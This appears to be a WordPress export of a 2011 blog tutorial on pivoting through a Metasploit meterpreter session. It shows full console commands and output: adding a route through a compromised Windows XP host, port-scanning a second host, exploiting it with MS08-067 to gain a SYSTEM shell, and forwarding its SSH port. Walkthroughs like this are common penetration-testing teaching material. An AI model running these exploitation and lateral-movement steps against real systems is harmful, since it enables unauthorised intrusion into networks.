{"id":120,"date":"2011-06-20T11:12:46","date_gmt":"2011-06-20T10:12:46","guid":{"rendered":"https:\/\/www.phillips321.co.uk\/?p=120"},"modified":"2011-06-28T16:05:12","modified_gmt":"2011-06-28T15:05:12","slug":"pivoting-through-a-meterpreter-session","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2011\/06\/20\/pivoting-through-a-meterpreter-session\/","title":{"rendered":"Pivoting through a meterpreter session"},"content":{"rendered":"<p>So you&#8217;ve owned a box and now you want to exploit others using the first as a pivot.<br \/>\nFirst thing to do is background your current meterpreter session:<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/><\/div><\/td><td><div class=\"bash codecolorer\">meterpreter <span class=\"sy0\">&gt;<\/span> background<br \/>\nmsf exploit<span class=\"br0\">&#40;<\/span>multi_handler<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span> sessions <span class=\"re5\">-l<\/span><br \/>\nActive sessions<br \/>\n===============<br \/>\nId\u00a0 Type\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Information\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Connection<br \/>\n--\u00a0 ----\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 -----------\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <span class=\"re5\">----------<\/span><br \/>\n<span class=\"nu0\">1<\/span>\u00a0\u00a0 meterpreter x86<span class=\"sy0\">\/<\/span>win32\u00a0 XPSP0\\Administrator <span class=\"sy0\">@<\/span> XPSP0\u00a0\u00a0 81.142.243.100:<span class=\"nu0\">21<\/span> -<span class=\"sy0\">&gt;<\/span> 1.2.3.4:<span class=\"nu0\">1050<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Then add the pivot: route add [ip of target] [subnet] [meterpreter session id]<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/><\/div><\/td><td><div class=\"bash codecolorer\">msf exploit<span class=\"br0\">&#40;<\/span>ms08_067_netapi<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span> route add 1.2.3.4 255.255.255.0 <span class=\"nu0\">1<\/span><br \/>\nmsf exploit<span class=\"br0\">&#40;<\/span>ms08_067_netapi<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span> route print<br \/>\nActive Routing Table<br \/>\n====================<br \/>\nSubnet\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Netmask\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Gateway<br \/>\n------\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 -------\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <span class=\"re5\">-------<\/span><br \/>\n1.2.3.4 \u00a0\u00a0\u00a0\u00a0 255.255.255.0\u00a0\u00a0\u00a0\u00a0\u00a0 Session <span class=\"nu0\">1<\/span><br \/>\nmsf exploit<span class=\"br0\">&#40;<\/span>ms08_067_netapi<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Now to run a tcp scan through the pivot \ud83d\ude42<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/><\/div><\/td><td><div class=\"bash codecolorer\">msf exploit<span class=\"br0\">&#40;<\/span>ms08_067_netapi<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span> use auxiliary<span class=\"sy0\">\/<\/span>scanner<span class=\"sy0\">\/<\/span>portscan<span class=\"sy0\">\/<\/span>tcp <br \/>\nmsf auxiliary<span class=\"br0\">&#40;<\/span>tcp<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span> <span class=\"kw1\">set<\/span> RHOSTS 1.2.3.10<br \/>\nRHOSTS =<span class=\"sy0\">&gt;<\/span> 1.2.3.10<br \/>\nmsf auxiliary<span class=\"br0\">&#40;<\/span>tcp<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span> run<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> 1.2.3.10:<span class=\"nu0\">139<\/span> - TCP OPEN<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> 1.2.3.10:<span class=\"nu0\">135<\/span> - TCP OPEN<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> 1.2.3.10:<span class=\"nu0\">445<\/span> - TCP OPEN<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Then simply exploit the second box using the same metasploit console:<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;height:300px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/>17<br \/>18<br \/>19<br \/>20<br \/>21<br \/>22<br \/>23<br \/>24<br \/>25<br \/>26<br \/><\/div><\/td><td><div class=\"bash codecolorer\">msf exploit<span class=\"br0\">&#40;<\/span>ms08_067_netapi<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span> show options<br \/>\nModule options <span class=\"br0\">&#40;<\/span>exploit<span class=\"sy0\">\/<\/span>windows<span class=\"sy0\">\/<\/span>smb<span class=\"sy0\">\/<\/span>ms08_067_netapi<span class=\"br0\">&#41;<\/span>:<br \/>\n&nbsp; &nbsp;Name &nbsp; &nbsp; Current Setting &nbsp;Required &nbsp;Description<br \/>\n&nbsp; &nbsp;<span class=\"re5\">----<\/span> &nbsp; &nbsp; <span class=\"re5\">---------------<\/span> &nbsp;<span class=\"re5\">--------<\/span> &nbsp;<span class=\"re5\">-----------<\/span><br \/>\n&nbsp; &nbsp;RHOST &nbsp; &nbsp;1.2.3.10 &nbsp; &nbsp;<span class=\"kw2\">yes<\/span> &nbsp; &nbsp; &nbsp; The target address<br \/>\n&nbsp; &nbsp;RPORT &nbsp; &nbsp;<span class=\"nu0\">445<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"kw2\">yes<\/span> &nbsp; &nbsp; &nbsp; Set the SMB service port<br \/>\n&nbsp; &nbsp;SMBPIPE &nbsp;BROWSER &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"kw2\">yes<\/span> &nbsp; &nbsp; &nbsp; The pipe name to use <span class=\"br0\">&#40;<\/span>BROWSER, SRVSVC<span class=\"br0\">&#41;<\/span><br \/>\nPayload options <span class=\"br0\">&#40;<\/span>windows<span class=\"sy0\">\/<\/span>meterpreter<span class=\"sy0\">\/<\/span>bind_tcp<span class=\"br0\">&#41;<\/span>:<br \/>\n&nbsp; &nbsp;Name &nbsp; &nbsp; &nbsp;Current Setting &nbsp;Required &nbsp;Description<br \/>\n&nbsp; &nbsp;<span class=\"re5\">----<\/span> &nbsp; &nbsp; &nbsp;<span class=\"re5\">---------------<\/span> &nbsp;<span class=\"re5\">--------<\/span> &nbsp;<span class=\"re5\">-----------<\/span><br \/>\n&nbsp; &nbsp;EXITFUNC &nbsp;thread &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">yes<\/span> &nbsp; &nbsp; &nbsp; Exit technique: seh, thread, process, none<br \/>\n&nbsp; &nbsp;LPORT &nbsp; &nbsp; <span class=\"nu0\">4444<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw2\">yes<\/span> &nbsp; &nbsp; &nbsp; The listen port<br \/>\n&nbsp; &nbsp;RHOST &nbsp; &nbsp; 1.2.3.10 &nbsp; &nbsp;no &nbsp; &nbsp; &nbsp; &nbsp;The target address<br \/>\nExploit target:<br \/>\n&nbsp; &nbsp;Id &nbsp;Name<br \/>\n&nbsp; &nbsp;<span class=\"re5\">--<\/span> &nbsp;<span class=\"re5\">----<\/span><br \/>\n&nbsp; &nbsp;<span class=\"nu0\">0<\/span> &nbsp; Automatic Targeting<br \/>\n<br \/>\nmsf exploit<span class=\"br0\">&#40;<\/span>ms08_067_netapi<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span> exploit<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Started <span class=\"kw3\">bind<\/span> handler<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Automatically detecting the target...<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Fingerprint: Windows XP - Service Pack <span class=\"nu0\">0<\/span> <span class=\"sy0\">\/<\/span> <span class=\"nu0\">1<\/span> - lang:English<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Selected Target: Windows XP SP0<span class=\"sy0\">\/<\/span>SP1 Universal<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Attempting to trigger the vulnerability...<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Sending stage <span class=\"br0\">&#40;<\/span><span class=\"nu0\">749056<\/span> bytes<span class=\"br0\">&#41;<\/span><br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Meterpreter session <span class=\"nu0\">2<\/span> opened <span class=\"br0\">&#40;<\/span>81.142.243.100-1.2.3.4:<span class=\"nu0\">0<\/span> -<span class=\"sy0\">&gt;<\/span> 1.2.3.5:<span class=\"nu0\">4444<\/span><span class=\"br0\">&#41;<\/span> at <span class=\"nu0\">2011<\/span>-06-<span class=\"nu0\">20<\/span> <span class=\"nu0\">10<\/span>:<span class=\"nu0\">56<\/span>:<span class=\"nu0\">13<\/span> +0100<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>And to show the second session running through the first we&#8217;ll list the sessions again:<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/><\/div><\/td><td><div class=\"bash codecolorer\">meterpreter <span class=\"sy0\">&gt;<\/span> background<br \/>\nmsf exploit<span class=\"br0\">&#40;<\/span>ms08_067_netapi<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span> sessions <span class=\"re5\">-l<\/span><br \/>\nActive sessions<br \/>\n===============<br \/>\n&nbsp; Id &nbsp;Type &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Information &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Connection<br \/>\n&nbsp; <span class=\"re5\">--<\/span> &nbsp;<span class=\"re5\">----<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"re5\">-----------<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"re5\">----------<\/span><br \/>\n&nbsp; <span class=\"nu0\">1<\/span> &nbsp; meterpreter x86<span class=\"sy0\">\/<\/span>win32 &nbsp;XPSP0\\Administrator <span class=\"sy0\">@<\/span> XPSP0 &nbsp; 81.142.243.100:<span class=\"nu0\">21<\/span> -<span class=\"sy0\">&gt;<\/span> 1.2.3.4:<span class=\"nu0\">1050<\/span><br \/>\n&nbsp; <span class=\"nu0\">2<\/span> &nbsp; meterpreter x86<span class=\"sy0\">\/<\/span>win32 &nbsp;NT AUTHORITY\\SYSTEM <span class=\"sy0\">@<\/span> XPSP0C &nbsp;81.142.243.100-1.2.3.4:<span class=\"nu0\">0<\/span> -<span class=\"sy0\">&gt;<\/span> 1.2.3.10:<span class=\"nu0\">4444<\/span><br \/>\n<br \/>\nmsf exploit<span class=\"br0\">&#40;<\/span>ms08_067_netapi<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Sweet!!! <\/p>\n<p><strong>UPDATE:<\/strong><br \/>\nI forgot to mention the ability to port forward from within a meterpreter session:<br \/>\nLets just say that the target2 [1.2.3.10] had ssh on it and you wanted to connect to that ssh session but couldn&#8217;t do so directly&#8230;. well, this is where the portfwd command comes in.<\/p>\n<div class=\"codecolorer-container text vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/><\/div><\/td><td><div class=\"text codecolorer\">msf &gt; sessions -i 1<br \/>\nmeterpreter &gt; portfwd add -l 44422 -p 22 -r 1.2.3.10<br \/>\n[*] Local TCP relay created: 0.0.0.0:44422 &lt;-&gt; 1.2.3.10:22<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>What the above does is map the local TCP port 44422 on the attackers box to TCP port 22 on 1.2.3.10. Now simply connect to the target2 from a console using:<\/p>\n<div class=\"codecolorer-container text vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"text codecolorer\">ssh 127.0.0.1:44422<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>The above applies for any service, simply just map it to an unused local port (to save confusion try to make the ports easy to understand, i append 4&#8217;s to the port).<\/p>\n<div class=\"codecolorer-container text vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/><\/div><\/td><td><div class=\"text codecolorer\">remote:80 --&gt; local:44480<br \/>\nremote:22 --&gt; local:44422<br \/>\nremote:8080--&gt; local:48080<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n","protected":false},"excerpt":{"rendered":"<p>So you&#8217;ve owned a box and now you want to exploit others using the first as a pivot. First thing to do is background your current meterpreter session: 1234567meterpreter &gt; background msf exploit&#40;multi_handler&#41; &gt; sessions -l Active sessions =============== Id\u00a0 Type\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Information\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Connection &#8212;\u00a0 &#8212;-\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8212;&#8212;&#8212;&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8212;&#8212;&#8212;- 1\u00a0\u00a0 meterpreter x86\/win32\u00a0 XPSP0\\Administrator @ XPSP0\u00a0\u00a0 81.142.243.100:21 -&gt; [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[4],"tags":[456,47,62,73,72,63,65],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/120"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=120"}],"version-history":[{"count":12,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/120\/revisions"}],"predecessor-version":[{"id":140,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/120\/revisions\/140"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=120"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=120"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=120"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}